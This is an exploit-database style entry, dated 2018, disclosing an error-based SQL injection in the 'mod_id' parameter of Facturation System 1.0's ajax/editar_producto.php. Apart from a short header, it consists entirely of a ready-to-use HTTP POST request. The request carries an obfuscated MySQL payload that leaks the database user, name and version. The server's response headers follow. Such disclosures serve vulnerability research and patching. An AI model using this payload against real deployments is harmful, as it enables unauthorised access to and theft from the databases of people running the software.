Facturation System 1.0 - 'modid' SQL Injection

# Exploit Title: Facturation System 1.0 - 'modid' SQL Injection
# Dork: N/A
# Date: 2018-11-08
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://obedalvarado.pw/simple-invoice/
# Software Link: https://kent.dl.sourceforge.net/project/simple-invoice/simple-invoice-master.zip
# Version: 1.0 
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/ajax/editar_producto.php
# 
POST /[PATH]/ajax/editar_producto.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=aehrspv1bfhbp1iqhkl1107vd7
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 321
mod_codigo=d&mod_id=12'||(SeleCT%20'Efe'%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))||'&mod_nombre=ds&mod_estado=1&mod_precio=2.00
HTTP/1.1 200 OK
Date: Thu, 08 Nov 2018 20:33:55 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 308
Keep-Alive: timeout=5, max=94
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8